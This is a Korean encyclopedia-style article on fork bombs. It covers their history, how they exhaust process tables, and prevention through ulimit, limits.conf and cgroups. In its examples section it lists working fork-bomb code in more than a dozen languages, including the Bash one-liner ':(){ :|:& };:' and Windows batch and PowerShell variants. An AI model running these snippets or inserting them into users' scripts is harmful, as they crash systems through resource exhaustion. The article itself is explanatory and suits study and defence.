포크 폭탄

컴퓨팅에서 포크 폭탄, 포크 밤(), 토끼 바이러스(), 웨빗()은 프로세스가 지속적으로 자신을 복제함으로써 이용 가능한 시스템 자원을 고갈시키고 시스템 속도를 떨어트려 결국엔 기아 상태로 인한 시스템 충돌을 일으키는 서비스 거부 공격이다.

역사 
1978년 즈음, '웨빗'(wabbit)이라는 이름의 초기 포크 폭탄 변종이 시스템/360에서 실행된 것으로 보고되었다. 이는 워싱턴 대학교의 버로스 5500의 1969년 보고된 래빗츠(RABBITS)라는 이름의 유사 공격에서 비롯된 것으로 짐작된다.

구현체 
포크 폭탄은 포크(fork) 프로세스 중 CPU 시간을 소비함으로써, 또 운영 체제의 프로세스 테이블을 포화 상태로 만듦으로써 동작한다. 기본적인 포크 폭탄의 구현체는 자신의 새로운 복사본을 반복적으로 실행하는 무한 루프이다.

유닉스 계열 운영 체제에서 포크 폭탄은 일반적으로 fork 시스템 호출을 사용하도록 작성된다. 포크된 프로세스들이 최초 프로그램의 사본이기도 하므로 콜 스택의 다음 주소로부터 실행을 계속 이어나가면 동일한 무한 루프의 사본 내에서 무한히 포크를 계속하게 된다. 이로 인해 프로세스의 지수적 성장을 일으키게 된다. 현대의 유닉스 시스템은 새 프로세스를 포크할 때 카피 온 라이트 자원 관리를 사용하는 것이 일반적이지만 포크 폭탄은 일반적으로 이러한 시스템 메모리를 포화시키지 않는다.

마이크로소프트 윈도우 운영 체제는 유닉스의 fork 시스템 호출과 동일한 기능을 갖추고 있지 않는다. 그러므로 이러한 운영 체제에서 포크 폭탄은 기존의 것에서 포크하지 않고 새 프로세스를 만든다.

포크 폭탄의 예

루비 
fork while true

펄 
펄 인터프리터를 이용한 인라인 셸 예시:
perl -e "fork while fork" &

파이썬 
import os
while True:
    os.fork()

C 
#include <sys/types.h>
#include <unistd.h>

int main()
{
    while (1)
    {
      fork();
    }
    return 0;
}

자바 
public class ForkBomb
{
    public static void main(String[] args)
    {
        while (true)
        {
            Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
        }
    }
}

Lua 
-- Requires `luaposix' module
local unistd = require "posix.unistd"

while true do
  unistd.fork()
end

어셈블리 (IA-32에서 실행되는 리눅스) 
section .text
    global _start

_start:
    mov eax,2 ;System call for forking
    int 0x80  ;Call kernel
    jmp _start

셸 스크립트 
다음은 셸 스크립트에서 2개의 $0 인스턴스를 실행하는 것이다. 여기서 $0는 스크립트 이름 자체를 반환하는 환경 변수이며 다른 인스턴스를 통해 출력물을 파이프 처리함으로써 기하급수적으로 프로세스를 복제시키는 결과를 낳는다.

#!/bin/sh
./$0|./$0&

더 단순한 방식은 간단히 ./$0&를 두 번 실행하는 것이다:

#!/bin/sh
./$0&
./$0&

Bash 
Bash에서 포크 폭탄은 다중 재귀 함수를 선언하고 호출함으로써 수행할 수 있다:

bomb(){
  bomb | bomb &
}
bomb

추가적으로 가장 유명하고 흔히 인용되는 포크 폭탄의 예시들 가운데 하나는 다음과 같이 간결한 1줄 Bash 명령어이다:

:(){ :|:& };:

이 명령어는 상기 명령의 난독화된 버전이다. 여기서의 트릭은 :를 함수명으로 사용한다는 점인데, 이것이 가능한 이유는 콜론이 다른 대부분의 언어에서처럼 Bash의 예약된 문자가 아니기 때문이다. 그 외의 경우는 동일하다.

유니코드 지원의 경우 다음과 같이 유사하게 렌더링이 가능하다:
💣(){ 💣|💣& };💣

윈도우 배치 
:ForkBomb
 start
 goto ForkBomb

상기와 동일하지만 더 짧게는 다음과 같이 쓸 수 있다:
 %0 | %0

상기와 동일하지만 이스케이프 특수문자에 ^를 사용하여 명령 줄에서 수행이 가능하다:
echo  %0^|%0  >forkbomb.bat & forkbomb.bat

"실행..." 프롬프트에서 직접 실행할 수 있도록 설계된 간결한 버전은 다음과 같다:
cmd /k echo -^|->-.bat&-

파워셸 
while ($true) {
    Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:";
    Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}';
}

자바스크립트 
(f => f(f))(async f => f(f) && f(f));

예방 
포크 폭탄의 운용 방식이 온전히 새로운 프로세스를 만드는 방식이기 때문에 포크 폭탄이 시스템 전반에 심각한 영향을 주지 못하도록 만드는 한 방법으로는 단일 사용자가 소유할 수 있는 프로세스의 최대 수를 제한시키는 것이다. 리눅스에서는 ulimit 유틸리티를 사용하여 이를 수행할 수 있다. 이를테면 ulimit -u 30 명령을 실행하면 이에 영향을 받는 사용자가 30개의 프로세스를 최대로 소유할 수 있게 된다. PAM을 사용하는 시스템에서 이 제한은 /etc/security/limits.conf,에서도 설정할 수 있으며 FreeBSD의 경우 시스템 관리자가 /etc/login.conf에 제한을 추가할 수 있다. 또, 현대의 리눅스 시스템들은 cgroups와 PID 컨트롤러를 통해 세부적인 포크 폭탄 예방이 가능하다.

같이 보기 
 서비스 거부 공격
 교착 상태
 시간 폭탄
 논리 폭탄

각주 

서비스 거부 공격
프로세스